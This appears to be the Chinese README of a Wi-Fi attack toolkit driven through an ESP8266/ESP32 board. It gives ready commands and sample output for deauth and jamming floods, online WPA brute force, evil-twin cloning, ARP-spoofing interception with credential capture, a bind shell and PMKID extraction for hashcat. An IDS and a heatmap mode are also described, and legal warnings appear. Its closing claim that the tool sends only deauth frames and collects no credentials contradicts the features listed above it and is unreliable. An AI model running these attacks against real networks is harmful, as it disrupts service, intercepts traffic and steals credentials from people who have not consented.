WifiSec

Go 编写的无线安全测试工具。帧注入跑在 ESP 协处理器上,宿主机零依赖、全平台免 root。

Go 1.26 ESP8266 / ESP32 macOS · Linux · Windows · Termux Hexagonal Architecture

开发实况#

serial.go 代码与 wifisec serial 终端输出
串口设备枚举 · wifisec serial 输出
corewlan_darwin.m 代码与 wifisec list 扫描结果
CoreWLAN 扫描封装 · wifisec list 输出
connect.go 代码与 wifisec brute 逐次尝试带耗时的终端输出
爆破编排 · wifisec brute 逐次尝试带耗时,命中即停输出凭证块

工作方式#

两条注入路径按构建与平台自动分发,应用编排不感知底层注入方式(Hexagonal Architecture:应用层只依赖 frameWriter / channelSetter 两个端口)。

路径原理平台权限
ESP 协处理器(默认)帧注入在板载 ESP8266/ESP32 射频上完成,宿主机经 USB 串口下发协议帧macOS / Linux / Windows / Termux免 root
Linux 原生iw 创建 monitor 接口 + AF_PACKET 原始套接字Linux / Termuxroot 或 CAP_NET_RAW
Windows 原生Npcap 驱动注入 + WlanHelper 切 monitorWindows管理员 + Npcap
macOS 原生不可用——Apple 未开放 802.11 帧注入 API,返回精确技术说明macOS—
ⓘ
macOS 用户走协处理器路径:插一块 ESP8266 开发板(约十元),烧录固件后全部功能免 root 可用,同时绕过系统对 BSSID 的定位脱敏。

快速开始#

三种安装方式,任选其一:

方式适用命令
go install(推荐) 已有 Go 环境 go install github.com/ctkqiang/wifisec/cmd/wifisec@latest
GitHub Release 无 Go 环境 上方「下载」区直接拿对应平台产物
源码编译 想改代码 git clone … && make build
ⓘ
go install 安装到 $(go env GOPATH)/bin/(通常 ~/go/bin/)。若安装后提示 command not found,是该目录不在 PATH 中,追加并重载即可:
echo 'export PATH=$PATH:$HOME/go/bin' >> ~/.bashrc   # Termux/bash;zsh 用户写 ~/.zshrc
source ~/.bashrc
二进制名取包路径最后一段,装好即是 wifisec。
  1. 1编译依赖 Go 1.26+,无 CGO:
    make build   # 产物 build/wifisec(macOS 额外产出 .app bundle 供定位授权)
  2. 2烧录固件一块 ESP8266 开发板(NodeMCU / Wemos D1 mini):见下方「固件烧录」。
  3. 3确认串口
    wifisec serial   # USB 设备置顶,记下端口名与 VID:PID
  4. 4扫描与打击
    wifisec list                            # 周边网络(主机射频视野)
    wifisec deauth 'MyWiFi'                # 按 SSID,同名多 AP 全部命中
    wifisec deauth 01:23:45:67:89:ab        # 按 BSSID 精确锁定
    wifisec brute 'MyWiFi' with-pass: pass.txt # 在线字典爆破,命中即停

list · 无线扫描#

枚举本机无线接口与周边网络。macOS 经 CoreWLAN + 定位服务取 BSSID(首次使用弹授权窗);Linux 解析 iw;Windows 解析 netsh。

wifisec list

输出含信道、频段、带宽、加密代际、信号/SNR 与信号条。同名 SSID 的 2.4/5GHz AP 分行展示,BSSID 各自独立。

完整字段判读见 wifi_list.md。

serial · 串口发现#

枚举系统全部串口(对标 Arduino IDE 端口列表),USB 设备置顶并给出 VID:PID——认芯片才是认板子的正确姿势:

VID:PID芯片常见载板
1A86:7523CH340/CH341NodeMCU、Wemos D1 mini 及多数国产板
1A86:55D4CH9102较新的 ESP32-S3/C3 开发板
10C4:EA60CP2102乐鑫官方 DevKit
0403:6001FT232RLFTDI 转接板

完整排错(充电线冒充数据线、brltty 抢占等)见 wifi_serial.md。

deauth · 帧注入#

对目标 AP 持续广播 802.11 deauthentication 帧,200ms 间隔(每秒 5 帧),Ctrl-C 停止并输出统计。协处理器路径下全过程日志:

22:40:33.342 [信息] 连接 /dev/cu.usbserial-XXXX,等待固件就绪…
22:40:34.161 [信息] 协处理器就绪(协议 v1 · 2.4GHz),扫描周边网络…
22:40:36.391 [信息] 扫描完成:周边 22 个网络,命中目标 1 个
22:40:36.391 [信息] 目标:<SSID>(<BSSID>)· 信道 4 · -53 dBm · deauth 帧 34 字节
22:40:36.392 [信息] 开始 deauth 攻击:… 间隔 200ms(每 3s 报一次进度,Ctrl-C 停止)
22:40:39.393 [信息] 进行中:已发送 15 帧 · 运行 3s
22:40:57.393 [信息] 进行中:已发送 105 帧 · 运行 21s
^C 22:40:58.114 [信息] 已发送 107 帧 · 目标 1 个 · 运行 21s
⚠
deauth 一次只打一个 BSSID × 一个频段:目标是 5GHz BSSID 而固件为 2.4GHz 芯片时,程序直接拒绝并说明原因。同名 SSID 的多个 AP 会轮流切信道全部命中。

完整说明(注入循环、信号对账、跨平台路径)见 wifi_deauth.md。

jam · 全频段干扰#

对目标 AP 同时发送 deauth + disassoc 双帧,覆盖只过滤 deauth 但不过滤 disassoc 的客户端实现;jam all 扫描全部可见 AP 逐个打击,200ms 间隔,Ctrl-C 停止并输出统计。

wifisec jam 'MyWiFi'                    # 按 SSID,双帧干扰
wifisec jam 01:23:45:67:89:ab         # 按 BSSID 精确锁定
wifisec jam all                       # 全频段:所有可见 AP 逐个打击
⚠
jam 每轮对每个目标发两帧(deauth + disassoc),与 deauth 的单帧相比攻击面更宽;jam all 不按 SSID/BSSID 过滤,扫描到的所有 AP 全部命中。macOS 无公开帧注入 API,需使用 ESP 协处理器或切换 Linux/Windows。

完整说明(双帧构造、全频段模式、跨平台路径)见 wifi_jam.md。

brute · 密码爆破#

在线密码字典爆破:把字典里的每个密码执行一次真实关联尝试,由 AP 亲自判定对错。插入 ESP 开发板时走协处理器(关联跑在板载射频上,不碰本机网络配置);未检测到设备时自动回落本机网卡(macOS networksetup / Linux nmcli / Windows netsh)。

wifisec brute 'MyWiFi' with-pass: pass.txt              # 按 SSID
wifisec brute 01:23:45:67:89:ab pass.txt /dev/cu.usbserial-XXXX  # 按 BSSID,手动指定串口

字典格式:每行一个密码,# 开头为注释,空行自动跳过。每次尝试带耗时逐条输出,命中即停并打印完整凭证块:

[信息] [1/4] 失败:"123456"(14.3s)
[信息] [2/4] 失败:"password"(15.4s)

════════════ 爆破成功 ════════════
  SSID   : MyWiFi
  BSSID  : aa:bb:cc:dd:ee:ff
  密码   : correcthorse
  尝试   : 3/4 · 总耗时 41s
═══════════════════════════════════
⚠
在线破解的固有代价:每次尝试约 2-5 秒(AP 拒绝应答的时间),且现代 AP 常在数次失败后限速或临时锁定。大字典请有心理准备;WPA3(SAE)成功率低于 WPA2。

macOS 本机路径采用两段式判定:networksetup 返回 0 仅代表 join 请求被受理,还需轮询确认接口真实接入目标 SSID,杜绝假命中。ESP 路径需先烧录含关联命令的固件(协议含 CMD_ASSOC 0x03)。完整说明(协议载荷、BSSID 来源分级、限速对抗、与离线破解的区别)见 wifi_brute_force.md。

clone · 热点克隆#

Evil Twin:在真实 AP 的信道上承载一个同名同密码的克隆热点,默认开启 kick——每 200ms 对真实 AP 广播 deauth,把其客户端驱赶到克隆网络;客户端接入/离开实时打印,Ctrl-C 结束并输出会话统计。插入 ESP 时克隆 AP 与 kick 帧都由板载射频承载(固件切 AP+STA 双模);未检测到设备时回落本机路径——仅 Linux 可行(hostapd,需 root),且 kick 需要第二块无线网卡。

wifisec clone 'MyWiFi':'same-password' up          # 同名同密码克隆 + kick 真实 AP
wifisec clone 'MyWiFi': up nokick                    # 开放网络克隆,不驱赶客户端
wifisec clone down                                   # 停止固件上的克隆热点
════════════ 克隆热点已上线 ════════════
  SSID      : MyWiFi
  密码      : same-password
  信道      : 6
  克隆 BSSID: 1a:2b:3c:4d:5e:6f
  真实 AP   : aa:bb:cc:dd:ee:ff(信道 6)
  kick      : 已启用(每 200ms 广播 deauth 驱赶真实 AP 客户端)
  监控      : 客户端接入/离开将实时打印,Ctrl-C 结束会话
═══════════════════════════════════════

[信息] 客户端接入 8c:85:90:xx:xx:xx(在线 1 台)

启动时先扫描周边网络,同名 SSID 取 RSSI 最强者作为克隆参照(信道跟随它、kick 指向它);扫不到同名网络时信道回落 6、kick 自动禁用。凭据约束:SSID 1-32 字节,WPA2 密码 8-63 字节,密码留空即开放网络。协议新增 CMD_CLONE 0x05(op+channel+ssid+password)与 CMD_CLONE_STATUS 0x06(在线设备列表轮询差分),旧固件回错误码 255 时需重烧固件。

⚠
克隆热点 + kick 是对目标网络的主动干扰行为,未经许可克隆他人网络并截获流量违反《刑法》第二百八十五条。仅限自有网络或已获书面授权的测试环境。

完整说明(双路径执行顺序、hostapd 配置生成、kick 机制、企业级 WPA-EAP 边界、排错表)见 wifi_clone.md。

devices · 局域网设备发现#

盘点当前 Wi-Fi 里的在线设备:自动选出默认路由网卡(UDP connect 技巧),对网段内每个地址的 80/443/22/445 做 700ms 超时的 TCP 探针(128 并发)强制内核刷新 ARP 表,再读系统邻居表交叉得出 IP/MAC,补反向 DNS 与本机/网关角色。四平台免 root:Linux/Android 读 /proc/net/arp,macOS 解析 arp -an,Windows 解析 arp -a。

wifisec devices                 # 自动选择当前上网网卡
wifisec devices en0             # 显式指定网卡(全隧道 VPN 时需要)
[信息] 接口 en0 · 本机 192.168.1.109 · 网段 192.168.1.109/24
[信息] 默认网关 192.168.1.1
[信息] 正在并发探测 253 个地址的 80,443,22,445 端口以刷新 ARP 表…

局域网在线设备(数据来源:系统 ARP 邻居表)
IP 地址        MAC 地址           主机名    角色
────────────────────────────────────────────────
192.168.1.1    B4:B0:24:xx:xx:xx  -         网关
192.168.1.46   76:A2:36:xx:xx:xx  -         -
192.168.1.109  12:49:1B:xx:xx:xx  M2.local  本机
[信息] 共 5 台设备 · 探测地址 253 个 · 耗时 5.68s
ⓘ
ARP 表是惰性缓存,所以必须先探测;熄屏省电的手机不回 ARP,未出现不代表离线。只覆盖 IPv4 直连网段,/16 以上大网段自动退化为本机所在 /24;AP 隔离(客户端隔离)开启时任何二层工具都看不到邻居。

完整原理与跨平台实现见 lan_analysis.md §2。

sniff · 实时嗅探与 ARP 欺骗 MITM#

bettercap 风格的事件流(Linux AF_PACKET、macOS BPF、Windows Npcap,需 root/管理员):直读网卡帧并产出语义事件 [dns] / [http] / [sni] / [arp] / [host] / [cred],40 条/秒限速折叠显示,退出时输出主机表与协议分布统计。--recon 在会话启动时主动 ARP 扫描预填充主机表(对应 bettercap 的 net.recon)。--spoof 叠加 ARP 欺骗 MITM(对应 bettercap 的 net.spoof):对网关与目标双向 1s 毒化 + who-has 即时应答,同时开启 IP 转发并压制 ICMP redirect(Linux procfs / macOS sysctl),退出时按启动前备份以真实 MAC 重发 5 轮恢复帧完整还原。

sudo wifisec sniff                 # 被动嗅探:本机流量 + ARP/DHCP/mDNS 广播
sudo wifisec sniff --recon         # 主动 ARP 扫描预填充主机表后被动嗅探
sudo wifisec sniff --spoof --targets 192.168.1.46,192.168.1.47   # ARP 欺骗 MITM,观测目标流量
sudo wifisec sniff --iface en0 --spoof   # 显式指定网卡(多网卡/VPN 场景)
[信息] 实时嗅探接口 en0 · Ctrl-C 结束
[信息] WPA2 下被动模式只能看到本机流量与广播帧(ARP/DHCP/mDNS)
[信息] [arp] 192.168.1.1  who-has 192.168.1.46
[信息] [dns] 192.168.1.46  api.example.com (A)
[信息] [sni] 192.168.1.46  www.example.com
[信息] [host] 192.168.1.109  新主机 (a4:50:75:11:22:33 · Apple)
[信息] [http] 192.168.1.46  GET /login.html · Host: 192.168.1.1
[信息] [cred] 192.168.1.46  POST 命中 basic 凭据
[信息] 嗅探期间观测到的主机
[信息] 嗅探结束:4821 帧 · 3.6 MB · 时长 2m14s
协议分布:ARP 2210 · UDP 1602 · TCP 1009
ⓘ
WPA2 加密下被动模式只能看到本机流量与广播帧(ARP/DHCP/mDNS)——这是加密 WiFi 的物理边界,不是功能缺陷;要观测他人单播流量需要 ARP 欺骗把流量引到本机。目标未指定时自动对网段内在线设备规划毒化列表(上限 32 台),网关 MAC 解析不到会拒绝启动并提示先用 devices 预热。
⚠
--spoof 会实时截获目标通信内容,未经授权使用即构成实时窃听,触犯《刑法》第二百八十五条第二款。仅限自有网络或已获书面授权的测试环境。正常 Ctrl-C 会完整还原;kill -9 会跳过恢复帧,目标将断网直至 ARP 缓存老化(通常 1-5 分钟)。Windows 因 IPEnableRouter 无法即开即还而明确拒绝欺骗入口,被动嗅探不受影响。

协议原理、恢复矩阵、生命周期与排错表见 wifi_sniff.md。

scan_ports · 端口扫描#

对标 nmap -sT 的 TCP connect 扫描:握手由内核完成,四平台免 root,同时给出精确三态——握上是 open、收到 RST 是 closed、超时/不可达是 filtered。200 并发、单端口 1.5s;open 端口再做被动 banner 抓取(HTTP 族端口补发 HEAD / HTTP/1.0)。

wifisec scan_ports 192.168.1.1                 # 默认 47 个常用端口(top)
wifisec scan_ports 192.168.1.1 all             # 1-1000
wifisec scan_ports 192.168.1.46 22,80,8000-8100  # 列表与区间混用
端口扫描结果 · 192.168.1.1(192.168.1.1)
端口  状态  服务    Banner
────────────────────────────────────────────
22    open  ssh     SSH-2.0-dropbear_2011.54
53    open  domain  -
80    open  http    HTTP/1.0 200 OK
443   open  https   -
[信息] open 4 · filtered 0 · closed 1 · 共 5 端口 · 耗时 1.01s
⚠
connect 扫描在对端日志里就是一次真实连接,没有隐蔽性;只支持 TCP(无 UDP / SYN 半开扫描)。filtered 也可能只是主机不在线,先用 devices 确认。

三态判定、banner 机制与能力边界见 lan_analysis.md §3。

bind / shell · 横向移动#

后渗透横向扩展通道:被控端 wifisec bind 监听 TCP(默认 9485),控制端 wifisec <ip> bash 拿交互 shell,wifisec <ip> <命令> 单命令一步执行(IP 开头自动路由)。认证走 HMAC-SHA256 挑战应答——令牌不落网、抓包重放无效,空令牌自动生成随机令牌并打印。

wifisec bind --token lab2026                  # 被控端:bind shell 监听等待接入
wifisec 192.168.1.123 bash --token lab2026    # 控制端:交互 shell
wifisec 192.168.1.123 whoami --token lab2026  # 单命令一步执行
⚠
仅限自有网络或已获书面授权的环境使用。bind 需先在目标机上落地启动——本模块是「已拿下 → 扩展」通道,不含投递手段;交互为行级语义(非 PTY),vim/top 等全屏程序不支持属刻意取舍。

协议时序、超时击杀(退出码 124)、令牌传递与排错见 lateral_movement.md。

get_packet · 抓包导出#

在连接态网卡上抓包导出 pcap,Wireshark/tcpdump 可直接打开。实时行按 Wireshark 列表风格限速 40 行/秒打印(超出只折叠屏幕行,帧数据一个不落全入文件),每 5 秒一行进度,Ctrl-C 或秒数到点后写统计正常收尾。参数按 token 形态归类、顺序随意:纯整数=秒数,带路径分隔符或 .pcap/.cap 后缀=文件,其余=网卡名。

wifisec get_packet en0 30 capture.pcap   # en0 抓 30 秒落盘
wifisec get_packet 10                   # 默认无线网卡抓 10 秒,文件名自动生成
wifisec get_packet                      # 默认网卡抓到 Ctrl-C
wifisec get_packet --eapol --bssid AA:BB:CC:DD:EE:FF 60 eapol.pcap   # 抓包同时实时分析 EAPOL 握手,按 BSSID 过滤
wifisec get_packet --pmkid 'MyWiFi' 60 mixed.pcap   # 抓包与 PMKID 主动会话共存(Linux/Windows)
[信息] #154    192.168.1.66:51752 → 192.168.1.255:5700  UDP (211 B)
[信息] 抓包结束:154 帧 · 52.0 KB · 时长 3.06s
协议分布:TCP 148 · UDP 6
文件:out.pcap(54.5 KB)
Wireshark 打开方式:File → Open → 选择该文件
平台抓包数据源特权
Linux/AndroidAF_PACKET 原始套接字root / CAP_NET_RAW
macOS/dev/bpf*(BIOC 系列 ioctl)sudo 或 access_bpf 组
WindowsNpcap wpcap.dll安装 Npcap + 管理员终端
ⓘ
抓的是本机内核视角的以太网帧(DLT 1):看得到本机单播与全网/组播,看不到另外两台设备之间的单播(AP 不转发),HTTPS 仍是 TLS 密文。不切 monitor、不断 Wi-Fi;裸 802.11 管理帧属于 ESP 协处理器的 deauth 路线。加 --eapol 后同一份流量实时做 EAPOL-Key 解析与 M1-M4 配对(命中即打摘要);--pmkid 在 Linux/Windows 上另起主动会话,与抓包共存,产物一并落进 pcap 供 extract 离线提取。

pcap 格式细节、BPF 配置顺序与排错见 lan_analysis.md §4-§6;握手/PMKID 分析见 wifi_pmkid.md。

pmkid · PMKID 主动获取#

传统抓握手链路(deauth 踢人 → 等客户端重连 → 抓四次握手)在无客户端在线、客户端不重连、或 AP 启用 802.11w(PMF 保护 deauth 帧)时全部卡死。PMKID 换了个思路:工具自己当客户端——切到目标信道,发 Open System Authentication + Association Request(随机 STA MAC,RSN IE 声明 PMKID 能力),AP 若在 Association Response / EAPOL Message 1 的 RSN IE 里返回 PMKID 列表,即拿到可离线爆破的材料。全程不踢任何人、不依赖真实客户端,SSID 与密码不变则 PMKID 长期有效。

wifisec pmkid AA:BB:CC:DD:EE:FF -o out.22000          # 按 BSSID 精确锁定(推荐)
wifisec pmkid 'MyWiFi' wlan0 -o out.22000             # 按 SSID,Linux 原生注入路径
wifisec pmkid 'MyWiFi' --ssid 'MyWiFi' --attempts 20  # 隐藏 SSID 必须显式给 --ssid;加大尝试次数
[信息] 目标 MyWiFi · BSSID AA:BB:CC:DD:EE:FF · 信道 6 · RSSI -42 dBm
[信息] 第 1 次尝试 · STA MAC 9a:3e:b2:71:0c:55 → Auth(seq=1) … 收到 Auth(seq=2)
[信息] 发送 Association Request(RSN IE 声明 PMKID 能力)
[信息] Association Response: status=0 · RSN IE 携带 PMKID
[信息] PMKID 命中:0011…eeff(16 字节)
[完成] 已写出 out.22000(hashcat -m 22000,1 行)
失败分类含义出路
no-beacon目标信道上等不到目标 AP 信标确认信道/信号;用 BSSID 而非 SSID 定位
no-rsn-ie关联响应无 RSN IE(开放/WEP 网络)开放网络无需破解,直接连
rsn-no-pmkidRSN IE 存在但 PMKID 列表为空AP 未启用 PMK 缓存披露,回落抓握手
non-pskAKM 为 802.1X/Enterprise(00-0F-AC:01 等)PMKID 派生路径不同,不可用于 PSK 爆破,明确拒绝
timeoutAuth/Assoc 应答超时自动换 STA MAC 重试(默认退避)
hidden-ssid信标 SSID 为空且未提供 --ssid显式传 --ssid
ⓘ
PMKID 只对 PSK(个人版 WPA2/WPA3 过渡)有意义;AKM 非 PSK 时工具明确提示「802.1X/Enterprise,PMKID 不可用于 PSK 爆破」,绝不静默产出废 hash。同名 SSID 多 AP 时按 BSSID/信道/RSSI 成对绑定,严禁只按 SSID 匹配——hash 与错误的 BSSID 绑定就永远解不开。macOS 无公开帧注入 API,此命令走 ESP 协处理器或 Linux/Windows 原生路径。

帧流程、RSN IE 状态机偏移表、22000 字段格式与成功率调参见 wifi_pmkid.md。

extract · pcap 离线提取#

把 get_packet / pmkid 产出的 pcap 变成成品:逐 AP 统计完整握手数、PMKID 有无、各帧合法性(MIC 存在性、replay counter 单调性),择优导出 hashcat 可直接消费的行。同一 BSSID 同时有 PMKID 与完整握手时优先 PMKID(材料干净、无 MIC 区清零的妥协);ESSID 未能从 beacon/probe/assoc 恢复的候选拒绝产出——空 salt 算不了 PBKDF2,宁可不出也不出废 hash。

wifisec extract capture.pcap                          # 只看摘要:握手数/PMKID/帧合法性
wifisec extract capture.pcap --hashcat out.22000      # 择优导出 22000,直接喂 hashcat -m 22000
wifisec extract capture.pcap --pmkid out.16800        # 仅导出 PMKID 行(16800 旧格式)
wifisec extract capture.pcap --bssid AA:BB:CC:DD:EE:FF --hashcat out.22000   # 只处理目标 AP
wifisec extract capture.pcap --json                   # 结构化输出,便于管道化
pcap 摘要 · 154 帧 · 3 个 BSSID
BSSID              ESSID      信道  PMKID  完整握手  帧明细
──────────────────────────────────────────────────────────
aa:bb:cc:dd:ee:ff  MyWiFi     6     1      1         M1✓ M2✓ M3✓ M4✓
11:22:33:44:55:66  Neighbor   11    0      0         M1✓ M2✓
(发现 1 个可离线破解候选;已写出 out.22000 · 1 行)
导出目标格式消费方
--hashcat out.22000WPA*01* PMKID 行 / WPA*02* 握手行(依据 hashcat v7.1.2 格式定义,代码内常量 + FormatVersion 开关)hashcat -m 22000
--pmkid out.16800PMKID:MAC_AP:MAC_STA:ESSID_HEX(旧格式)hashcat -m 16800(已弃用,兼容保留)
--json候选组结构化 JSON(字段与摘要同名)管道 / 脚本
ⓘ
隐藏 SSID 的候选会先从 Probe Response / Association Response 恢复 ESSID,恢复不了则标记 <hidden> 并拒绝产出 hash,不会拿空 salt 去算。握手行导出时 MIC 区按规范清零、messagepair 按实际配对类型标注(M1M2=0 / M2M3=2 / M3M4=5 / M1M4=1)。

22000 字段顺序、messagepair 规则与 golden 测试说明见 wifi_pmkid.md。

ids · 无线入侵检测#

防御视角模块:持续监测空域,识别伪造 AP、KARMA、加密降级、泛洪、deauth 风暴、弱加密与开放网络。两层引擎——扫描差分(每 15 秒对比快照,免 root 全平台)+ 帧级监测(Linux monitor VIF / macOS BPF,尽力而为、不可用时如实降级)。告警按严重(红)/警告(黄)/提示(灰)着色,每条带触发证据。

wifisec ids                # 全空域持续监测到 Ctrl-C
wifisec ids 3600           # 监测 1 小时后自动收尾
wifisec ids 'MyWiFi'       # 锁定单个 SSID:只评估它的差分与针对它的风暴
wifisec ids en0            # 指定帧级监测绑定的网卡
[严重] 14:32:01 伪造AP · MyWiFi — SSID 出现第二个 BSSID BB:00:…(信道 6 · WPA2),疑似 Evil Twin
[严重] 14:33:40 去认证风暴 · AA:00:… — 10 秒内 12 帧(阈值 12),目标为本机——你的连接正在被强制断开
[信息] 检测结束:追踪 12 个 BSSID · deauth 47 帧 · disassoc 0 帧 · 告警 2 条
[警告] 重点来源 AA:00:…:deauth×47 · disassoc×0
检测器层面等级阈值
伪造 AP(Evil Twin)扫描差分警告同 SSID 同频段新 BSSID 且信道/加密不一致(双频合一拓扑豁免)
KARMA扫描差分严重同一 BSSID 宣称 ≥6 个 SSID
加密降级扫描差分严重安全等级下跌(WPA3→WEP 等)
去认证/解除关联风暴帧级监测严重≥12 帧 / 10 秒 / 发送方
信标泛洪两层严重单轮 30 个新 BSSID 或 10 秒 40 发送方
弱加密 / 开放网络扫描差分警告/提示WEP、WPA/TKIP、OPEN(每 BSSID 一次)
ⓘ
macOS 未授权定位时系统隐藏周边 BSSID,差分检测退化为仅安全盘点(系统设置 → 定位服务 → 允许 wifisec)。连接态以太网视角(DLT 1)下管理帧不可见,帧级监测会如实降级为纯扫描差分。部署位置决定合法性边界,检测记录只用于防护目的。

检测器原理、阈值出处与企业部署形态见 wireless_ids.md。

heatmap · 信号热力图#

把无线数据变成平面图:纯终端 TUI 站点勘测。拿着笔记本在房间里走动,每到一个位置按一次空格,工具把该点的 RSSI 钉进网格;未采样的格子按 IDW(1/d² 反距离加权) 插值出色块,超半径的死角留白不编造。可叠加文本平面图(墙体/工位),最多同时追踪 9 个 AP(Tab 切换、各自独立网格),加密风险以角标形式随目标列出;结束自动落盘 JSON 并给出 AP 方位估计(信号最强格)。

wifisec heatmap                    # 对当前最强网络开测
wifisec heatmap 'MyWiFi'           # 指定 SSID
wifisec heatmap 'MyWiFi' floor.txt # 叠加平面图(#=墙 空格=可走区域)
按键作用按键作用
h j k l / 方向键移动光标(你站的位置)空格 / 回车在当前格采样一次 RSSI
Tab切换勘测目标 APx清除当前格采样
s立即保存 JSONq / Ctrl-C结束并自动落盘 + 统计
等级RSSI色块含义
极佳≥ -50 dBm绿色贴着 AP 的覆盖区
良好-50 ~ -60黄绿正常办公无压力
一般-60 ~ -70金色可用,视频会偶发卡顿
偏弱-70 ~ -80橙色边缘覆盖,考虑增补点位
死角< -80 / 无数据红色基本不可用
ⓘ
插值是估计不是测量:1/d² 是自由空间衰减的近似,穿墙衰减、多径与人体遮挡都会让实际值偏离色块。要准确结论就多在关键位置按空格——精确采样永远优先于插值显示。macOS 未授权定位时 BSSID 被系统隐藏,多 AP 目标会按 SSID 匹配采样。

IDW 原理与诚实边界、JSON 落盘格式、AP 方位估计的局限见 wifi_heatmap.md。

help · 用法总览#

裸跑 wifisec(无子命令)或 wifisec help 均输出开发者信息与全部子命令用法。

man · 内置手册页#

wifisec man 列出全部手册主题;wifisec man <主题> 渲染该子命令的完整手册页(名称/用法/描述/选项/示例/另见,经典 man 版式)。页面随二进制内嵌分发,离线可用且与当前版本严格同步;管道/重定向或设置 NO_COLOR 时自动输出纯文本。

wifisec man          # 全部主题与一行简介
wifisec man sniff    # sniff 的完整手册页

固件烧录#

固件源码 core/esp/esp.ino,一份源码经编译期条件分支覆盖 ESP8266 / ESP32 全系。推荐 arduino-cli:

arduino-cli compile \
  --fqbn esp8266:esp8266:nodemcuv2:baud=115200,xtal=80,eesz=4M2M \
  --build-path /tmp/esp-build core/esp/esp.ino

arduino-cli upload --fqbn esp8266:esp8266:nodemcuv2 \
  --input-dir /tmp/esp-build -p /dev/cu.usbserial-XXXX core/esp/esp.ino
⚠
板型必须与实际硬件一致。板型携带晶振参数:选成 40MHz 晶振的板型(如 Arduino Primo)而板子实为 26MHz 时,115200 实际跑成 74880——表现为「串口有数据但不是有效 PONG」。拿不准时以 esptool 连接日志的 Crystal is 26MHz 为准。

板型选型表、手动下载模式按键、--no-stub 兜底等完整排错见 wifi_deauth.md §5.4-§5.5。

串口协议#

主机 ↔ 固件帧格式(小端,双向各一个魔数防方向错乱):

方向帧头帧格式
主机 → ESP0xA5[A5][cmd][len_lo][len_hi][payload]
ESP → 主机0x5A[5A][cmd][len_lo][len_hi][payload]

命令与回复:

cmd方向含义payload
0x00主机→ESPPING 握手无
0x00ESP→主机PONG协议版本(1) + 能力位图(1),bit0 = 5GHz
0x01主机→ESP扫描无
0x01ESP→主机扫描条目bssid(6) + channel(1) + rssi(1) + ssidLen(1) + ssid
0x02ESP→主机扫描结束无
0x02主机→ESP注入信道(1) + 802.11 帧(已剥 radiotap)
0x03主机→ESP关联尝试ssidLen(1) + ssid + passLen(1) + password
0x03ESP→主机关联结果result(1):0 = 失败/超时,1 = 成功
0x04ESP→主机错误出错命令(1) + 错误码(1)
0x05主机→ESP克隆开关op(1) + channel(1) + ssidLen(1) + ssid + passLen(1) + password
0x05ESP→主机克隆结果result(1) + apMAC(6);down 回复 MAC 全零
0x06主机→ESP克隆状态无
0x06ESP→主机在线设备count(1) + count×MAC(6)

复位时序

打开串口先拉复位:DTR 置低(GPIO0 高)→ RTS 置高(EN 低)100ms → 释放。NodeMCU 自动复位电路把 DTR 接到 GPIO0,驱动默认电平会把芯片锁进 ROM 下载模式(115200 完全静默)。

噪声重同步

ESP 上电以 74880 输出启动日志,在 115200 下是随机字节。解析器逐字节丢弃直至帧头 0x5A,残缺帧保留待下一段拼齐。

设计取舍全表见 wifi_deauth.md §5.3。

排错手册#

高频错误速查(完整版见 wifi_deauth.md §5.5 与 wifi_serial.md §6):

报错原因处理
未发现 USB 串口设备充电线冒充数据线 / 驱动未装换数据线;装 CH340/CP2102 驱动
端口正被 X (PID N) 占用Arduino 串口监视器等持有端口关闭报错点名的进程
串口有数据但不是有效 PONG板型晶振选错(115200 偏成 74880)或固件未烧录选对板型重烧;74880 下能看到 PONG 即确诊
串口完全无数据供电不足 / 锁下载模式 / 端口选错直连 USB;确认 LED 心跳
未找到目标;仅支持 2.4GHz目标是 5/6GHz BSSID换 2.4GHz BSSID 或 ESP32-C5
擦写阶段 Timed out waiting for packet contentstub 高速擦写丢包--no-stub ROM 直写(文档 §5.5 有完整命令)

安全与合规#

能力边界(重构过程中刻意保持,不自动增加攻击面):

  • 仅 deauth 一种帧类型,帧构造收敛在 internal/ieee80211 纯字节编解码层;
  • 不加入新的 packet type、credential collection、persistence 或 exploit 能力;
  • 固件 payload 上限 512 字节,超长直接拒绝,防缓冲区溢出;
  • 运行 list 时不要加 sudo——root 在 GUI 会话之外弹不出定位授权窗。